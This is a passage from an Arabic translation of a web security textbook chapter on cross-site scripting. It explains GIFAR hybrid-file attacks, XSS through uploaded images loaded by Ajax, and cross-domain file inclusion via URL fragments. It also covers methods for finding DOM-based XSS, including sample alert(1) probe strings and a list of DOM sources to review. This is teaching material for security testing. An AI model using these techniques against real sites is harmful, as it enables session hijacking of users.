‫ﺑﺎﻟﻨﺴﺒﺔﻟﺘﻄﺒﻴﻘﺎﺕ ﺟﺎﻓﺎ‪ ،‬ﺗﻄُﺒﻖَّ ﺳﻴﺎﺳﺔ ﺍﻟﻤﺼﺪﺭ ﻧﻔﺴﻪ ﺑﻄﺮﻳﻘﺔ ﻣﺨﺘﻠﻔﺔ ﻋﻦ ﺗﻀﻤﻴﻨﺎﺕ‬


‫ﺍﻟﺒﺮﺍﻣﺞﺍﻟﻨﺼﻴﺔ ﺍﻟﻌﺎﺩﻳﺔ‪ .‬ﻳﻌُﺎﻣﻞ ﺍﻟﺘﻄﺒﻴﻖ ﻋﻠﻰ ﺃﻧﻪ ﻳﻨﺘﻤﻲ ﺇﻟﻰ ﺍﻟﻨﻄﺎﻕ ﺍﻟﺬﻱ ﺣﻤُﻞِّ ﻣﻨﻪ‪ ،‬ﻭﻟﻴﺲ‬
‫ﺇﻟﻰﺍﻟﻨﻄﺎﻕ ﺍﻟﺬﻱ ﺍﺳﺘﺪﻋﺎﻩ‪ .‬ﻭﺑﺎﻟﺘﺎﻟﻲ‪ ،‬ﻳﻨُﻔﺬَّ ﺗﻄﺒﻴﻖ ﺍﻟﻤﻬﺎﺟﻢ ﻓﻲ ﻧﻄﺎﻕ ﺗﻄﺒﻴﻖ ﺍﻟﺘﻮﺍﺻﻞ‬
‫ﺍﻻﺟﺘﻤﺎﻋﻲ‪.‬ﺇﺫﺍ ﻛﺎﻥ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺍﻟﻀﺤﻴﺔ ﻣﺴُﺠﻼِّ ًﺩﺧﻮﻟﻪ ﺇﻟﻰ ﺗﻄﺒﻴﻖ ﺍﻟﺘﻮﺍﺻﻞ ﺍﻻﺟﺘﻤﺎﻋﻲ‬
‫ﻭﻗﺖﺍﻟﻬﺠﻮﻡ‪ ،‬ﺃﻭ ﺳﺠﻞّ ﺩﺧﻮﻟﻪ ﻣﺆﺧﺮﺍً ﻭﺍﺧﺘﺎﺭ ﺧﻴﺎﺭ "ﺍﻟﺒﻘﺎء ﻣﺴُﺠﻼِّ"ً‪ ،‬ﻓﺈﻥ ﺗﻄﺒﻴﻖ ﺍﻟﻤﻬﺎﺟﻢ‬
‫ﻳﺘﻤﺘﻊﺑﻮﺻﻮﻝ ﻛﺎﻣﻞ ﺇﻟﻰ ﺟﻠﺴﺔ ﺍﻟﻤﺴﺘﺨﺪﻡ‪ ،‬ﻭﻳﻌُﺮﺽَّ ﺍﻟﻤﺴﺘﺨﺪﻡ ﻟﻠﺨﻄﺮ‪.‬‬

‫ﺗﻢﻣﻨﻊ ﻫﺬﺍ ﺍﻟﻬﺠﻮﻡ ﺗﺤﺪﻳﺪﺍً ﺑﺎﺳﺘﺨﺪﺍﻡ ﻣﻠﻔﺎﺕ ‪ GIFAR‬ﻓﻲ ﺍﻹﺻﺪﺍﺭﺍﺕ ﺍﻟﺤﺎﻟﻴﺔ ﻣﻦ ﺇﺿﺎﻓﺔ‬
‫ﻣﺘﺼﻔﺢ‪ ،Java‬ﻭﺍﻟﺘﻲ ﺗﺘُﺤﻘﻖ ﻣﻤﺎ ﺇﺫﺍ ﻛﺎﻧﺖ ﻣﻠﻔﺎﺕ ‪ JAR‬ﺍﻟﻤﺤُﻤﻠّﺔ ﺗﺤﺘﻮﻱ ﺑﺎﻟﻔﻌﻞ ﻋﻠﻰ ﻣﺤﺘﻮﻯ‬
‫ﻫﺠﻴﻦ‪.‬ﻭﻣﻊ ﺫﻟﻚ‪ ،‬ﻻ ﻳﺰﺍﻝ ﻣﺒﺪﺃ ﺍﺳﺘﺨﺪﺍﻡ ﺍﻟﻤﻠﻔﺎﺕ ﺍﻟﻬﺠﻴﻨﺔ ﻹﺧﻔﺎء ﺍﻟﺘﻌﻠﻴﻤﺎﺕ ﺍﻟﺒﺮﻣﺠﻴﺔ ﺍﻟﻘﺎﺑﻠﺔ‬
‫ﻟﻠﺘﻨﻔﻴﺬﻗﺎﺉﻤﺎً‪ .‬ﻭﻧﻈﺮﺍً ﻟﻠﺘﻨﻮﻉ ﺍﻟﻤﺘﺰﺍﻳﺪ ﻓﻲ ﺻﻴﻎ ﺍﻟﺘﻌﻠﻴﻤﺎﺕ ﺍﻟﺒﺮﻣﺠﻴﺔ ﺍﻟﻘﺎﺑﻠﺔ ﻟﻠﺘﻨﻔﻴﺬ ﻋﻠﻰ ﺟﻬﺎﺯ‬
‫ﺍﻟﻌﻤﻴﻞﺍﻟﻤﺴُﺘﺨﺪﻣﺔ ﺣﺎﻟﻴﺎً‪ ،‬ﻓﻤﻦ ﺍﻟﻤﺤُﺘﻤﻞ ﻭﺟﻮﺩ ﻫﺠﻤﺎﺕ ﻣﻤُﺎﺛﻠﺔ ﺑﺼﻴﻎ ﺃﺧﺮﻯ ﺃﻭ ﻇﻬﻮﺭﻫﺎ ﻣﺴُﺘﻘﺒﻼً‪.‬‬

‫‪ Ajax‬ﻓﻲ ﺍﻟﻤﻠﻔﺎﺕ ﺍﻟﻤﺤﻤﻠﺔ ﻋﺒﺮ ‪XSS‬‬


‫ﺗﺴﺘﺨﺪﻡﺑﻌﺾ ﺗﻄﺒﻴﻘﺎﺕ ﺍﻟﻴﻮﻡ ﺗﻘﻨﻴﺔ ‪ Ajax‬ﻻﺳﺘﺮﺟﺎﻉ ﻭﻋﺮﺽ ﻋﻨﺎﻭﻳﻦ ‪ URL‬ﺍﻟﻤﺤﺪﺩﺓ ﺑﻌﺪ ﻣﻌُﺮﻑّ‬
‫ﺍﻟﺸﻈﻴﺔ‪.‬ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ‪ ،‬ﻗﺪ ﺗﺤﺘﻮﻱ ﺻﻔﺤﺎﺕ ﺍﻟﺘﻄﺒﻴﻖ ﻋﻠﻰ ﺭﻭﺍﺑﻂ ﻣﺜﻞ‪:‬‬

‫‪http://wahh-app.com/#profile‬‬

‫ﻋﻨﺪﻣﺎﻳﻨﻘﺮ ﺍﻟﻤﺴﺘﺨﺪﻡ ﻋﻠﻰ ﺍﻟﺮﺍﺑﻂ‪ ،‬ﻳﺘﻌﺎﻣﻞ ﻛﻮﺩ ﺟﺎﻧﺐ ﺍﻟﻌﻤﻴﻞ ﻣﻊ ﺣﺪﺙ ﺍﻟﻨﻘﺮ‪ ،‬ﻭﻳﺴﺘﺨﺪﻡ ‪Ajax‬‬
‫ﻻﺳﺘﺮﺩﺍﺩﺍﻟﻤﻠﻒ ﺍﻟﻤﻌﺮﻭﺽ ﺑﻌﺪ ﺍﻟﻤﻘﻄﻊ‪ ،‬ﻭﻳﺤﺪﺩ ﺍﻻﺳﺘﺠﺎﺑﺔ ﺩﺍﺧﻞ‪innerHtml‬ﻣﻦ >ﻗﺴﻢ<ﻋﻨﺼﺮ ﻓﻲ‬
‫ﺍﻟﺼﻔﺤﺔﺍﻟﺤﺎﻟﻴﺔ‪ .‬ﻫﺬﺍ ﻳﺘُﻴﺢ ﺗﺠﺮﺑﺔ ﻣﺴﺘﺨﺪﻡ ﺳﻠﺴﺔ‪ ،‬ﺣﻴﺚ ﻳﺤُﺪﺙِّ ﺍﻟﻨﻘﺮ ﻋﻠﻰ ﻋﻼﻣﺔ ﺗﺒﻮﻳﺐ ﻓﻲ‬
‫ﻭﺍﺟﻬﺔﺍﻟﻤﺴﺘﺨﺪﻡ ﺍﻟﻤﺤﺘﻮﻯ ﺍﻟﻤﻌﺮﻭﺽ ﺩﻭﻥ ﺇﻋﺎﺩﺓ ﺗﺤﻤﻴﻞ ﺍﻟﺼﻔﺤﺔ ﺑﺄﻛﻤﻠﻬﺎ‪.‬‬

‫ﻓﻲﻫﺬﻩ ﺍﻟﺤﺎﻟﺔ‪ ،‬ﺇﺫﺍ ﻛﺎﻥ ﺍﻟﺘﻄﺒﻴﻖ ﻳﺤﺘﻮﻱ ﺃﻳﻀﺎً ﻋﻠﻰ ﻭﻇﻴﻔﺔ ﺗﺴﻤﺢ ﻟﻚ ﺑﺘﺤﻤﻴﻞ ﻣﻠﻔﺎﺕ ﺍﻟﺼﻮﺭ‬
‫ﻭﺗﻨﺰﻳﻠﻬﺎ‪،‬ﻣﺜﻞ ﺻﻮﺭﺓ ﻣﻠﻒ ﺗﻌﺮﻳﻒ ﺍﻟﻤﺴﺘﺨﺪﻡ‪ ،‬ﻓﻘﺪ ﺗﺘﻤﻜﻦ ﻣﻦ ﺗﺤﻤﻴﻞ ﻣﻠﻒ ﺻﻮﺭﺓ ﺻﺎﻟﺢ ﻳﺤﺘﻮﻱ‬
‫ﻋﻠﻰﺗﺮﻣﻴﺰ ‪ HTML‬ﻣﻀﻤﻦ ﻭﺇﻧﺸﺎء ﻋﻨﻮﺍﻥ ‪ URL‬ﻳﺘﺴﺒﺐ ﻓﻲ ﻗﻴﺎﻡ ﻛﻮﺩ ﺟﺎﻧﺐ ﺍﻟﻌﻤﻴﻞ ﺑﺠﻠﺐ‬
‫ﺍﻟﺼﻮﺭﺓﻭﻋﺮﺿﻬﺎ ﺑﺘﻨﺴﻴﻖ ‪:HTML‬‬

‫‪http://wahh-app.com/#profiles/images/15234917624.jpg‬‬
‫‪487‬‬ ‫ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‪ :‬ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ‬

‫ﻳﻤﻜﻦﺗﻀﻤﻴﻦ ‪ HTML‬ﻓﻲ ﻣﻮﺍﻗﻊ ﻣﺨﺘﻠﻔﺔ ﺩﺍﺧﻞ ﻣﻠﻒ ﺻﻮﺭﺓ ﺻﺎﻟﺢ‪ ،‬ﺑﻤﺎ ﻓﻲ ﺫﻟﻚ ﻗﺴﻢ‬
‫ﺍﻟﺘﻌﻠﻴﻘﺎﺕ‪.‬ﺍﻟﻌﺪﻳﺪ ﻣﻦ ﺍﻟﻤﺘﺼﻔﺤﺎﺕ‪ ،‬ﺑﻤﺎ ﻓﻲ ﺫﻟﻚ ﻓﺎﻳﺮﻓﻮﻛﺲ ﻭﺳﻔﺎﺭﻱ‪ ،‬ﺗﻘُﺪﻡّ ﻣﻠﻔﺎﺕ ﺍﻟﺼﻮﺭ‬
‫ﺑﺘﻨﺴﻴﻖ‪ .HTML‬ﺗﻌُﺮﺽ ﺍﻷﺟﺰﺍء ﺍﻟﺜﻨﺎﺉﻴﺔ ﻣﻦ ﺍﻟﺼﻮﺭﺓ ﻛﻤﻠﻒ ﻏﻴﺮ ﻣﺮﻏﻮﺏ ﻓﻴﻪ‪ ،‬ﺑﻴﻨﻤﺎ ﻳﻌُﺮﺽ ﺃﻱ‬
‫‪ HTML‬ﻣﻀُﻤﻦّ ﺑﺎﻟﻄﺮﻳﻘﺔ ﺍﻟﻤﻌﺘﺎﺩﺓ‪.‬‬

‫ﻧﺼﻴﺤﺔﻟﻨﻔﺘﺮﺽ ﺃﻥ ﺿﺤﻴﺔ ًﻣﺤﺘﻤﻠﺔ ًﺗﺴﺘﺨﺪﻡ ﻣﺘﺼﻔﺤﺎً ﻣﺘﻮﺍﻓﻘﺎً ﻣﻊ ‪ ،HTML5‬ﺣﻴﺚ ﻳﻤُﻜﻦ ﺇﺭﺳﺎﻝ‬


‫ﻃﻠﺒﺎﺕ‪ Ajax‬ﻋﺒﺮ ﺍﻟﻨﻄﺎﻗﺎﺕ ﺑﺈﺫﻥ ﺍﻟﻨﻄﺎﻕ ﺍﻟﻤﻄﻠﻮﺏ‪ .‬ﻫﺠﻮﻡ ٌﺁﺧﺮ ﻣﺤﺘﻤﻞ ﻓﻲ ﻫﺬﻩ ﺍﻟﺤﺎﻟﺔ ﻫﻮ ﻭﺿﻊ‬
‫ﻋﻨﻮﺍﻥ‪ URL‬ﻣﻄُﻠﻖ ﺑﻌﺪ ﺣﺮﻑ ﺍﻟﺸﻈﻴﺔ‪ ،‬ﻣﺤُﺪﺩﺍً ﻣﻠﻒ ‪ HTML‬ﺧﺎﺭﺟﻴﺎً ﻳﺘﺤﻜﻢ ﺑﻪ ﺍﻟﻤﻬﺎﺟﻢ ﺑﺎﻟﻜﺎﻣﻞ‪،‬‬
‫ﻋﻠﻰﺧﺎﺩﻡ ﻳﺴﻤﺢ ﺑﺘﻔﺎﻋﻞ ‪ Ajax‬ﻣﻦ ﺍﻟﻨﻄﺎﻕ ﺍﻟﻤﺴُﺘﻬﺪﻑ‪ .‬ﺇﺫﺍ ﻟﻢ ﻳﺘُﺤﻘﻖ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ ﻣﻦ ﺟﺎﻧﺐ‬
‫ﺍﻟﻌﻤﻴﻞﻣﻦ ﺃﻥ ﻋﻨﻮﺍﻥ ‪ URL‬ﺍﻟﻤﻄﻠﻮﺏ ﻣﻮﺟﻮﺩ ﻋﻠﻰ ﺍﻟﻨﻄﺎﻕ ﻧﻔﺴﻪ‪ ،‬ﻳﻨﺠﺢ ﻫﺠﻮﻡ ﺗﻀﻤﻴﻦ ﺍﻟﻤﻠﻒ ﻋﻦ‬
‫ﺑﻌُﺪﻣﻦ ﺟﺎﻧﺐ ﺍﻟﻌﻤﻴﻞ‪.‬‬

‫ﻧﻈﺮﺍًﻷﻥ ﺍﻟﺘﺤﻘﻖ ﻣﻦ ﺻﺤﺔ ﻧﻄﺎﻕ ﻋﻨﻮﺍﻥ ‪ URL‬ﻛﺎﻥ ﻏﻴﺮ ﺿﺮﻭﺭﻱ ﻓﻲ ﺍﻹﺻﺪﺍﺭﺍﺕ ﺍﻷﻗﺪﻡ ﻣﻦ‬
‫‪ ،HTML‬ﻓﻬﺬﺍ ﻣﺜﺎﻝ ﻭﺍﺣﺪ ﺣﻴﺚ ﻗﺪ ﺗﺆﺩﻱ ﺍﻟﺘﻐﻴﻴﺮﺍﺕ ﺍﻟﺘﻲ ﺗﻢ ﺇﺩﺧﺎﻟﻬﺎ ﻓﻲ ‪ HTML5‬ﺑﺤﺪ ﺫﺍﺗﻬﺎ ﺇﻟﻰ‬
‫ﺇﺩﺧﺎﻝﺷﺮﻭﻁ ﻗﺎﺑﻠﺔ ﻟﻼﺳﺘﻐﻼﻝ ﻓﻲ ﺍﻟﺘﻄﺒﻴﻘﺎﺕ ﺍﻟﻤﻮﺟﻮﺩﺓ ﺍﻟﺘﻲ ﻛﺎﻧﺖ ﺁﻣﻨﺔ ﻓﻲ ﺍﻟﺴﺎﺑﻖ‪.‬‬

‫ﺍﻟﻌﺜﻮﺭﻋﻠﻰ ﺛﻐﺮﺍﺕ ‪ XSS‬ﺍﻟﻤﺴﺘﻨﺪﺓ ﺇﻟﻰ ‪ DOM‬ﻭﺍﺳﺘﻐﻼﻟﻬﺎ‬


‫ﻻﻳﻤﻜﻦ ﺗﺤﺪﻳﺪ ﺛﻐﺮﺍﺕ ‪ XSS‬ﺍﻟﻤﺴﺘﻨﺪﺓ ﺇﻟﻰ ‪ DOM‬ﻋﻦ ﻃﺮﻳﻖ ﺇﺭﺳﺎﻝ ﺳﻠﺴﻠﺔ ﻓﺮﻳﺪﺓ ﻟﻜﻞ ﻣﻌﻠﻤﺔ‬
‫ﻭﻣﺮﺍﻗﺒﺔﺍﻻﺳﺘﺠﺎﺑﺎﺕ ﻟﻈﻬﻮﺭ ﺗﻠﻚ ﺍﻟﺴﻠﺴﻠﺔ‪.‬‬
‫ﺇﺣﺪﻯﺍﻟﻄﺮﻕ ﺍﻷﺳﺎﺳﻴﺔ ﻟﺘﺤﺪﻳﺪ ﺃﺧﻄﺎء ‪ XSS‬ﺍﻟﻤﺴﺘﻨﺪﺓ ﺇﻟﻰ ‪ DOM‬ﻫﻲ ﺍﻟﺘﻨﻘﻞ ﻳﺪﻭﻳﺎً ﻋﺒﺮ‬
‫ﺍﻟﺘﻄﺒﻴﻖﺑﺎﺳﺘﺨﺪﺍﻡ ﻣﺘﺼﻔﺤﻚ ﻭﺗﻌﺪﻳﻞ ﻛﻞ ﻣﻌﻠﻤﺔ ‪ URL‬ﻟﺘﺤﺘﻮﻱ ﻋﻠﻰ ﺳﻠﺴﻠﺔ ﺍﺧﺘﺒﺎﺭ ﻗﻴﺎﺳﻴﺔ‪ ،‬ﻣﺜﻞ‬
‫ﺃﺣﺪﺍﻟﻌﻨﺎﺻﺮ ﺍﻟﺘﺎﻟﻴﺔ‪:‬‬

‫‪">script<alert)1(>/script< ";alert)1(//‬‬

‫'‪'-alert)1(-‬‬

‫ﺑﻌﺮﺽﻛﻞ ﺻﻔﺤﺔ ﻣﻌُﺎﺩﺓ ﻓﻲ ﻣﺘﺼﻔﺤﻚ‪ ،‬ﺗﻔُﻌﻞّ ﺟﻤﻴﻊ ﻧﺼﻮﺹ ﺍﻟﻌﻤﻴﻞ ﺍﻟﺒﺮﻣﺠﻴﺔ‪ ،‬ﻣﻊ ﺍﻹﺷﺎﺭﺓ‬
‫ﺇﻟﻰﻣﻌُﺎﻣﻞ ‪ URL‬ﺍﻟﻤﻌُﺪﻝّ ﻋﻨﺪ ﺍﻻﻗﺘﻀﺎء‪ .‬ﻓﻲ ﻛﻞ ﻣﺮﺓ ﻳﻈﻬﺮ ﻓﻴﻬﺎ ﻣﺮﺑﻊ ﺣﻮﺍﺭ ﻳﺤﺘﻮﻱ ﻋﻠﻰ ﻣﻠﻔﺎﺕ‬
‫ﺗﻌﺮﻳﻒﺍﻻﺭﺗﺒﺎﻁ‪ ،‬ﺳﺘﺠﺪ ﺛﻐﺮﺓ ﺃﻣﻨﻴﺔ )ﻗﺪ ﺗﻜﻮﻥ ﻧﺎﺟﻤﺔ ﻋﻦ ‪ DOM‬ﺃﻭ ﺃﺷﻜﺎﻝ ﺃﺧﺮﻯ ﻣﻦ ‪ .(XSS‬ﻳﻤﻜﻦ‬
‫ﺃﺗﻤﺘﺔﻫﺬﻩ ﺍﻟﻌﻤﻠﻴﺔ ﺑﻮﺍﺳﻄﺔ ﺃﺩﺍﺓ ﺗﻄُﺒﻖّ ﻣﻔُﺴﺮّ ‪ JavaScript‬ﺧﺎﺹ ﺑﻬﺎ‪.‬‬

‫ﻣﻊﺫﻟﻚ‪ ،‬ﻻ ﻳﺤُﺪﺩ ﻫﺬﺍ ﺍﻟﻨﻬﺞ ﺍﻷﺳﺎﺳﻲ ﺟﻤﻴﻊ ﺃﺧﻄﺎء ‪ XSS‬ﺍﻟﻤﺘُﻌﻠﻘﺔ ﺑـ ‪ .DOM‬ﻛﻤﺎ ﺭﺃﻳﺖ‪ ،‬ﺗﻌﺘﻤﺪ‬
‫ﺍﻟﺒﻨﻴﺔﺍﻟﻨﺤﻮﻳﺔ ﺍﻟﺪﻗﻴﻘﺔ ﺍﻟﻤﻄﻠﻮﺑﺔ ﻟﺤﻘﻦ ﺟﺎﻓﺎ ﺳﻜﺮﻳﺒﺖ ﺻﺎﻟﺢ ﻓﻲ ﻣﺴﺘﻨﺪ ‪ HTML‬ﻋﻠﻰ ﺍﻟﺒﻨﻴﺔ‬
‫ﺍﻟﻨﺤﻮﻳﺔﺍﻟﺘﻲ ﺗﻈﻬﺮ ﻗﺒﻞ ﻭﺑﻌﺪ ﻧﻘﻄﺔ ﺇﺩﺭﺍﺝ ﺍﻟﺴﻠﺴﻠﺔ ﺍﻟﻨﺼﻴﺔ ﺍﻟﺘﻲ ﻳﻤُﻜﻦ ﻟﻠﻤﺴﺘﺨﺪﻡ ﺍﻟﺘﺤﻜﻢ ﺑﻬﺎ‪ .‬ﻗﺪ‬
‫ﻳﻜﻮﻥﻣﻦ ﺍﻟﻀﺮﻭﺭﻱ ﺇﻧﻬﺎء ﺳﻠﺴﻠﺔ ﻧﺼﻴﺔ ﻣﻘُﺘﺒﺴَﺔ ﺑﻌﻼﻣﺘﻲ ﺍﻗﺘﺒﺎﺱ ﻣﻔﺮﺩﺓ ﺃﻭ ﻣﺰﺩﻭﺟﺔ‪ ،‬ﺃﻭ ﺇﻏﻼﻕ‬
‫ﻭﺳﻮﻡﻣﺤُﺪﺩﺓ‪ .‬ﻗﺪ ﺗﻜﻮﻥ ﻫﻨﺎﻙ ﺣﺎﺟﺔ ﺃﺣﻴﺎﻧﺎً ﺇﻟﻰ ﻭﺳﻮﻡ ﺟﺪﻳﺪﺓ‪ ،‬ﻭﻟﻜﻦ ﻓﻲ ﺑﻌﺾ ﺍﻷﺣﻴﺎﻥ ﻻ‪ .‬ﻗﺪ‬
‫ﻳﺤُﺎﻭﻝﻛﻮﺩ ﺗﻄﺒﻴﻖ ﺍﻟﻌﻤﻴﻞ ﺍﻟﺘﺤﻘﻖ ﻣﻦ ﺻﺤﺔ ﺍﻟﺒﻴﺎﻧﺎﺕ ﺍﻟﻤﺴُﺘﺮﺟﻌﺔ ﻣﻦ ‪ ،DOM‬ﻭﻣﻊ ﺫﻟﻚ ﻗﺪ ﻳﻈﻞ‬
‫ﻋﺮُﺿﺔﻟﻠﺨﻄﺮ‪.‬‬
‫ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‪ :‬ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ‬ ‫‪488‬‬

‫ﺇﺫﺍﻟﻢ ﺗﻨُﺘﺞ ﺳﻠﺴﻠﺔ ﺍﺧﺘﺒﺎﺭ ﻗﻴﺎﺳﻴﺔ ﺑﻨﻴﺔ ﻧﺤﻮﻳﺔ ﺻﺤﻴﺤﺔ ﻋﻨﺪ ﻣﻌﺎﻟﺠﺘﻬﺎ ﻭﺇﺩﺭﺍﺟﻬﺎ‪ ،‬ﻓﻠﻦ ﻳﻨُﻔﺬَّ ﺟﺎﻓﺎ‬
‫ﺳﻜﺮﻳﺒﺖﺍﻟﻤﻀُﻤﻦَّ‪ ،‬ﻭﻟﻦ ﻳﻈﻬﺮ ﺃﻱ ﻣﺮﺑﻊ ﺣﻮﺍﺭ‪ ،‬ﺣﺘﻰ ﻟﻮ ﻛﺎﻥ ﺍﻟﺘﻄﺒﻴﻖ ﻋﺮﺿﺔ ﻟﻬﺠﻮﻡ ﻣﺼُﻤﻢَّ ﺑﺸﻜﻞ‬
‫ﺻﺤﻴﺢ‪.‬ﻭﺑﺎﺳﺘﺜﻨﺎء ﺇﺩﺧﺎﻝ ﺟﻤﻴﻊ ﺳﻼﺳﻞ ﻫﺠﻤﺎﺕ ‪ XSS‬ﺍﻟﻤﺤُﺘﻤﻠﺔ ﻓﻲ ﻛﻞ ﻣﻌُﺎﻣﻞ‪ ،‬ﻓﺈﻥ ﺍﻟﻨﻬﺞ‬
‫ﺍﻷﺳﺎﺳﻲﻳﻐُﻔﻞ ﺣﺘﻤﺎً ﻋﺪﺩﺍً ﻛﺒﻴﺮﺍً ﻣﻦ ﺍﻟﺜﻐﺮﺍﺕ ﺍﻷﻣﻨﻴﺔ‪.‬‬

‫ﻫﻨﺎﻙﻃﺮﻳﻘﺔ ﺃﻛﺜﺮ ﻓﻌﺎﻟﻴﺔ ﻟﺘﺤﺪﻳﺪ ﺃﺧﻄﺎء ‪ XSS‬ﺍﻟﻘﺎﺉﻤﺔ ﻋﻠﻰ ‪ ،DOM‬ﻭﻫﻲ ﻣﺮﺍﺟﻌﺔ ﺟﻤﻴﻊ ﻣﻠﻔﺎﺕ‬
‫‪ JavaScript‬ﻣﻦ ﺟﺎﻧﺐ ﺍﻟﻌﻤﻴﻞ ﺑﺤﺜﺎً ﻋﻦ ﺃﻱ ﺍﺳﺘﺨﺪﺍﻡ ﻟﺨﺼﺎﺉﺺ ‪ DOM‬ﻗﺪ ﻳﺆﺩﻱ ﺇﻟﻰ ﺛﻐﺮﺓ‬
‫ﺃﻣﻨﻴﺔ‪.‬ﺗﺘﻮﻓﺮ ﺃﺩﻭﺍﺕ ﻣﺘﻨﻮﻋﺔ ﻟﻠﻤﺴﺎﻋﺪﺓ ﻓﻲ ﺃﺗﻤﺘﺔ ﻫﺬﻩ ﺍﻟﻌﻤﻠﻴﺔ‪ .‬ﺇﺣﺪﻯ ﻫﺬﻩ ﺍﻷﺩﻭﺍﺕ ﺍﻟﻔﻌﺎﻟﺔ ﻫﻲ‬
‫‪ ،DOMTracer‬ﺍﻟﻤﺘﻮﻓﺮﺓ ﻋﻠﻰ ﺍﻟﺮﺍﺑﻂ ﺍﻟﺘﺎﻟﻲ‪:‬‬

‫‪www.blueinfy.com/tools.html‬‬

‫ﺧﻄﻮﺍﺕﺍﻻﺧﺘﺮﺍﻕ‬

‫ﺑﺎﺳﺘﺨﺪﺍﻡﻧﺘﺎﺉﺞ ﺗﻤﺎﺭﻳﻦ ﺗﻌﻴﻴﻦ ﺍﻟﺘﻄﺒﻴﻖ ﻣﻦ ﺍﻟﻔﺼﻞ ‪ ،4‬ﺭﺍﺟﻊ ﻛﻞ ﺟﺰء ﻣﻦ ‪ JavaScript‬ﻋﻠﻰ‬


‫ﺟﺎﻧﺐﺍﻟﻌﻤﻴﻞ ﻟﻠﻮﺍﺟﻬﺎﺕ ﺍﻟﺒﺮﻣﺠﻴﺔ ﺍﻟﺘﺎﻟﻴﺔ‪ ،‬ﻭﺍﻟﺘﻲ ﻳﻤﻜﻦ ﺍﺳﺘﺨﺪﺍﻣﻬﺎ ﻟﻠﻮﺻﻮﻝ ﺇﻟﻰ ﺑﻴﺎﻧﺎﺕ ‪DOM‬‬
‫ﺍﻟﺘﻲﻳﻤﻜﻦ ﺍﻟﺘﺤﻜﻢ ﻓﻴﻬﺎ ﻋﺒﺮ ﻋﻨﻮﺍﻥ ‪ URL‬ﻣﺼﻤﻢ ﺧﺼﻴﺼﺎً‪:‬‬
‫ﻣﻮﻗﻊﺍﻟﻤﺴﺘﻨﺪ‬ ‫‪-‬‬
‫ﻋﻨﻮﺍﻥ‪ URL‬ﻟﻠﻤﺴﺘﻨﺪ‬ ‫‪-‬‬
‫ﺍﻟﻤﺴﺘﻨﺪ‪ URL.‬ﻏﻴﺮ ﻣﺸﻔﺮ‬ ‫‪-‬‬
‫ﻭﺛﻴﻘﺔﻣﺮﺟﻌﻴﺔ‬ ‫‪-‬‬
‫ﻣﻮﻗﻊﺍﻟﻨﺎﻓﺬﺓ‬ ‫‪-‬‬

‫ﺗﺄﻛﺪﻣﻦ ﺗﻀﻤﻴﻦ ﺍﻟﻨﺼﻮﺹ ﺍﻟﺒﺮﻣﺠﻴﺔ ﺍﻟﺘﻲ ﺗﻈﻬﺮ ﻓﻲ ﺻﻔﺤﺎﺕ ‪ HTML‬ﺍﻟﺜﺎﺑﺘﺔ‪ ،‬ﺑﺎﻹﺿﺎﻓﺔ ﺇﻟﻰ‬
‫ﺍﻟﺼﻔﺤﺎﺕﺍﻟﻤﻮُﻟﺪّﺓ ﺩﻳﻨﺎﻣﻴﻜﻴﺎً‪ .‬ﻗﺪ ﺗﻮﺟﺪ ﺃﺧﻄﺎء ‪ XSS‬ﺍﻟﻤﺴﺘﻨﺪﺓ ﺇﻟﻰ ‪ DOM‬ﻓﻲ ﺃﻱ ﻣﻜﺎﻥ ﺗﺴُﺘﺨﺪﻡ‬
‫ﻓﻴﻪﺍﻟﻨﺼﻮﺹ ﺍﻟﺒﺮﻣﺠﻴﺔ ﻣﻦ ﺟﺎﻧﺐ ﺍﻟﻌﻤﻴﻞ‪ ،‬ﺑﻐﺾ ﺍﻟﻨﻈﺮ ﻋﻦ ﻧﻮﻉ ﺍﻟﺼﻔﺤﺔ ﺃﻭ ﻣﺎ ﺇﺫﺍ ﻛﻨﺖ ﺗﺮﻯ‬
‫ﻣﻌﻠﻤﺎﺕﺗﺮُﺳﻞ ﺇﻟﻴﻬﺎ‪.‬‬
‫ﻓﻲﻛﻞ ﻣﺮﺓ ﺗﺴُﺘﺨﺪﻡ ﻓﻴﻬﺎ ﺇﺣﺪﻯ ﻭﺍﺟﻬﺎﺕ ﺑﺮﻣﺠﺔ ﺍﻟﺘﻄﺒﻴﻘﺎﺕ ﺍﻟﺴﺎﺑﻘﺔ‪ ،‬ﺭﺍﺟﻊ ﺍﻟﺸﻴﻔﺮﺓ ﺑﺪﻗﺔ‬
‫ﻟﺘﺤﺪﻳﺪﻣﺎ ﻳﺘﻢ ﻓﻌﻠﻪ ﺑﺎﻟﺒﻴﺎﻧﺎﺕ ﺍﻟﺘﻲ ﻳﻤﻜﻦ ﻟﻠﻤﺴﺘﺨﺪﻡ ﺍﻟﺘﺤﻜﻢ ﺑﻬﺎ‪ ،‬ﻭﻣﺎ ﺇﺫﺍ ﻛﺎﻥ ﻣﻦ ﺍﻟﻤﻤﻜﻦ ﺍﺳﺘﺨﺪﺍﻡ‬
‫ﺍﻟﻤﺪﺧﻼﺕﺍﻟﻤﻌُﺪﺓّ ﻟﺘﻨﻔﻴﺬ ﺃﻭﺍﻣﺮ ﺟﺎﻓﺎ ﺳﻜﺮﻳﺒﺖ ﻋﺸﻮﺍﺉﻴﺔ‪ .‬ﻋﻠﻰ ﻭﺟﻪ ﺍﻟﺨﺼﻮﺹ‪ ،‬ﺭﺍﺟﻊ ﻭﺍﺧﺘﺒﺮ ﺃﻱ‬
